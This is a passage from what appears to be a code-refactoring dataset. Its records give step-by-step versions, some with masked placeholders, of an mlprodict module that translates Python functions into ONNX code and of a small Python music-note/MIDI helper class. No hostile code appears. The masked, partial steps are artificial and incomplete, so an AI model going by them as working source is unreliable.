numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {}\n try:\n obj = compile(code, '', 'exec')\n except SyntaxError as e:\n raise SyntaxError(f'Unable to compile\\n{code}') from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l)\n return context_l[name]\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError(f'Unable to guess code from type {type(fct)}.')\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context, output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None:\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-4": "<mask token>\nimport inspect\nimport ast\nfrom textwrap import dedent\nimport numpy\nfrom scipy.spatial.distance import squareform, pdist\nfrom .node_visitor_translator import CodeNodeVisitor\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\ndef py_pow(x, p, op_version=None):\n \"\"\"\n Function for python operator ``**``.\n\n @param x float\n @param p power\n @param op_version unused\n @return :math:`x^p`\n \"\"\"\n return x ** p\n\n\ndef py_mul(*x, op_version=None):\n \"\"\"\n Function for python operator ``*``.\n\n @param x floats\n @param op_version unused\n @return `x*y`\n \"\"\"\n if len(x) == 2:\n return x[0] * x[1]\n p = x[0]\n for y in x[1:]:\n p *= y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\ndef squareform_pdist(X, metric='sqeuclidean', op_version=None):\n \"\"\"\n Replacements for `squareform\n <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.squareform.html>`_\n and `pdist\n <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.pdist.html>`_.\n \"\"\"\n return squareform(pdist(X, metric=metric))\n\n\ndef get_default_context():\n \"\"\"\n Returns a default context useful for most of the conversion\n from a function using :epkg:`numpy` into :epkg:`ONNX`.\n \"\"\"\n context = {'py_pow': py_pow, 'py_make_float_array': py_make_float_array,\n 'py_mul': py_mul, 'py_opp': py_opp, 'cdist': 'cdist',\n 'squareform_pdist': 'squareform_pdist'}\n allow = set(\n 'abs add ceil arccos arccosh arcsin arcsinh arctan arctanh ceil cos cosh divideequal exp floor greater invert less log matmul maximum minimum modmultiply power sign sin sinh sqrt square subtract tan tanh transpose'\n .split())\n for k, v in numpy.__dict__.items():\n if k not in allow:\n continue\n context[f'numpy.{k}'] = v\n context[f'np.{k}'] = v\n return context\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow,\n 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist\n from skl2onnx.algebra.complex_functions import onnx_cdist\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError:\n pass\n from skl2onnx.algebra import onnx_ops\n from skl2onnx.algebra.onnx_operator import OnnxOperator\n d = onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith('Onnx') and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError(f'Issue with {k}={v} (type={type(v)})') from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None,\n output_names=None, dtype=numpy.float32, verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes *OnnxAbs*, *OnnxAdd*, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if *context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if *context_cpl* is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute *predictions*. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {}\n try:\n obj = compile(code, '', 'exec')\n except SyntaxError as e:\n raise SyntaxError(f'Unable to compile\\n{code}') from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l)\n return context_l[name]\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError(f'Unable to guess code from type {type(fct)}.')\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context, output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None:\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-5": "\"\"\"\n@file\n@brief One class which visits a syntax tree.\n\"\"\"\nimport inspect\nimport ast\nfrom textwrap import dedent\nimport numpy\nfrom scipy.spatial.distance import squareform, pdist\nfrom .node_visitor_translator import CodeNodeVisitor\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\ndef py_pow(x, p, op_version=None):\n \"\"\"\n Function for python operator ``**``.\n\n @param x float\n @param p power\n @param op_version unused\n @return :math:`x^p`\n \"\"\"\n return x ** p\n\n\ndef py_mul(*x, op_version=None):\n \"\"\"\n Function for python operator ``*``.\n\n @param x floats\n @param op_version unused\n @return `x*y`\n \"\"\"\n if len(x) == 2:\n return x[0] * x[1]\n p = x[0]\n for y in x[1:]:\n p *= y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\ndef squareform_pdist(X, metric='sqeuclidean', op_version=None):\n \"\"\"\n Replacements for `squareform\n <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.squareform.html>`_\n and `pdist\n <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.pdist.html>`_.\n \"\"\"\n return squareform(pdist(X, metric=metric))\n\n\ndef get_default_context():\n \"\"\"\n Returns a default context useful for most of the conversion\n from a function using :epkg:`numpy` into :epkg:`ONNX`.\n \"\"\"\n context = {'py_pow': py_pow, 'py_make_float_array': py_make_float_array,\n 'py_mul': py_mul, 'py_opp': py_opp,\n 'cdist': 'cdist', 'squareform_pdist': 'squareform_pdist'}\n allow = set(('abs add ceil arccos arccosh arcsin arcsinh arctan arctanh ceil cos cosh divide'\n 'equal exp floor greater invert less log matmul maximum minimum mod'\n 'multiply power sign sin sinh sqrt square subtract tan tanh transpose').split())\n for k, v in numpy.__dict__.items():\n if k not in allow:\n continue\n context[f'numpy.{k}'] = v\n context[f'np.{k}'] = v\n return context\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array,\n 'py_pow': py_pow, 'py_mul': py_mul, 'py_opp': py_opp,\n 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist # delayed\n from skl2onnx.algebra.complex_functions import onnx_cdist # delayed\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError: # pragma: no cover\n # Too old version for skl2onnx.\n pass\n\n from skl2onnx.algebra import onnx_ops # delayed\n from skl2onnx.algebra.onnx_operator import OnnxOperator # delayed\n d = onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith(\"Onnx\") and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError( # pragma: no cover\n f\"Issue with {k}={v} (type={type(v)})\") from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False,\n context_cpl=None, output_names=None,\n dtype=numpy.float32,\n verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes *OnnxAbs*, *OnnxAdd*, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if *context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if *context_cpl* is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute *predictions*. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {} # pragma: no cover\n try:\n obj = compile(code, \"\", \"exec\")\n except SyntaxError as e: # pragma: no cover\n raise SyntaxError(f\"Unable to compile\\n{code}\") from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l) # pylint: disable=W0122\n return context_l[name]\n\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError( # pragma: no cover\n f\"Unable to guess code from type {type(fct)}.\")\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context,\n output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None: # pragma: no cover\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-ids": [ 5, 6, 7, 9, 10 ] }

[ 5, 6, 7, 9, 10 ]

from random import shuffle, choice from typing import Dict, List, Tuple note_to_midi: Dict[int, int] = { 1: 0, 2: 2, 3: 4, 4: 5, 5: 7, 6: 9, 7: 11, } midi_to_note: Dict[int, int] = { 0: 1, 2: 2, 4: 3, 5: 4, 7: 5, 9: 6, 11: 7, } class Note: num: int @classmethod def choice(cls, *args: int): return Note(choice(args)) @classmethod def from_midi(cls, midi: int, root: int): note = midi_to_note.get(midi % root) if isinstance(note, int): return cls(note) raise ValueError() def __init__(self, num: int): while num > 7: num -= 7 while num <= 0: num += 7 self.num = num def __int__(self): return self.num def __repr__(self): return str(self.num) def __str__(self): return f'Note: {self.num}' def __hash__(self): return hash(self.num) def _distance(self, other): if isinstance(other, Note): return self.num - other.num raise TypeError() def __eq__(self, other): return self._distance(other) == 0 def __lt__(self, other): return self._distance(other) < 0 def __le__(self, other): return self._distance(other) <= 0 def __gt__(self, other): return self._distance(other) > 0 def __ge__(self, other): return self._distance(other) >= 0 def _get_interval(self, interval: int): return {Note(self.num - interval), Note(self.num + interval)} def get_unison(self): return self._get_interval(0) def get_second(self): return self._get_interval(1) def get_thirds(self): return self._get_interval(2) def get_forth(self): return self._get_interval(3) def get_fifth(self): return self._get_interval(4) def get_sixth(self): return self._get_interval(5) def get_seventh(self): return self._get_interval(6) def inv(self): return Note(6 - self.num) def get_next_possible_notes(self, /, leap=True): ret = [Note(self.num - 1), Note(self.num + 1)] if leap: ret += [Note(self.num - 2), Note(self.num + 2)] shuffle(ret) return ret def __sub__(self, other) -> int: dist = abs(self._distance(other)) if dist > 3: dist = 7 - dist return dist def get_all_possible_midi(self, root: int) -> List[int]: midi = self.convert_to_midi(root) assert midi >= 0 ret: List[int] = [] while midi - 12 >= 0: midi -= 12 while midi <= 127: ret.append(midi) midi += 12 return ret def convert_to_midi(self, root: int) -> int: return note_to_midi[self.num] + root INVERSE_POSSIBLE_NOTE = { Note(2), Note(3), Note(4), } def choose_from_inverse_possible_note(): return choice(list(INVERSE_POSSIBLE_NOTE)) ALL_NOTES = { Note(1), Note(2), Note(3), Note(4), Note(5), Note(6), Note(7), } def choose_from_all_notes(): return choice(list(ALL_NOTES)) def fill_in_thirds() -> Tuple[Note, Note]: first = choice(list(ALL_NOTES)) second = choice(list(first.get_thirds())) return first, second

normal

{ "blob_id": "d70f77713abf4b35db9de72c1edbf4bf4580b2a4", "index": 8795, "step-1": "<mask token>\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, *args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n <mask token>\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n <mask token>\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n <mask token>\n\n def __sub__(self, other) ->int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) ->List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) ->int:\n return note_to_midi[self.num] + root\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, *args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n <mask token>\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n\n def get_thirds(self):\n return self._get_interval(2)\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n\n def get_next_possible_notes(self, /, leap=True):\n ret = [Note(self.num - 1), Note(self.num + 1)]\n if leap:\n ret += [Note(self.num - 2), Note(self.num + 2)]\n shuffle(ret)\n return ret\n\n def __sub__(self, other) ->int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) ->List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) ->int:\n return note_to_midi[self.num] + root\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, *args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n\n def __int__(self):\n return self.num\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n\n def get_thirds(self):\n return self._get_interval(2)\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n\n def get_next_possible_notes(self, /, leap=True):\n ret = [Note(self.num - 1), Note(self.num + 1)]\n if leap:\n ret += [Note(self.num - 2), Note(self.num + 2)]\n shuffle(ret)\n return ret\n\n def __sub__(self, other) ->int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) ->List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) ->int:\n return note_to_midi[self.num] + root\n\n\n<mask token>\n\n\ndef choose_from_all_notes():\n return choice(list(ALL_NOTES))\n\n\n<mask token>\n", "step-4": "from random import shuffle, choice\nfrom typing import Dict, List, Tuple\nnote_to_midi: Dict[int, int] = {(1): 0, (2): 2, (3): 4, (4): 5, (5): 7, (6):\n 9, (7): 11}\nmidi_to_note: Dict[int, int] = {(0): 1, (2): 2, (4): 3, (5): 4, (7): 5, (9):\n 6, (11): 7}\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, *args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n\n def __int__(self):\n return self.num\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n\n def get_thirds(self):\n return self._get_interval(2)\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n\n def get_next_possible_notes(self, /, leap=True):\n ret = [Note(self.num - 1), Note(self.num + 1)]\n if leap:\n ret += [Note(self.num - 2), Note(self.num + 2)]\n shuffle(ret)\n return ret\n\n def __sub__(self, other) ->int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) ->List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) ->int:\n return note_to_midi[self.num] + root\n\n\nINVERSE_POSSIBLE_NOTE = {Note(2), Note(3), Note(4)}\n\n\ndef choose_from_inverse_possible_note():\n return choice(list(INVERSE_POSSIBLE_NOTE))\n\n\nALL_NOTES = {Note(1), Note(2), Note(3), Note(4), Note(5), Note(6), Note(7)}\n\n\ndef choose_from_all_notes():\n return choice(list(ALL_NOTES))\n\n\ndef fill_in_thirds() ->Tuple[Note, Note]:\n first = choice(list(ALL_NOTES))\n second = choice(list(first.get_thirds()))\n return first, second\n", "step-5": "from random import shuffle, choice\nfrom typing import Dict, List, Tuple\n\nnote_to_midi: Dict[int, int] = {\n 1: 0,\n 2: 2,\n 3: 4,\n 4: 5,\n 5: 7,\n 6: 9,\n 7: 11,\n}\n\nmidi_to_note: Dict[int, int] = {\n 0: 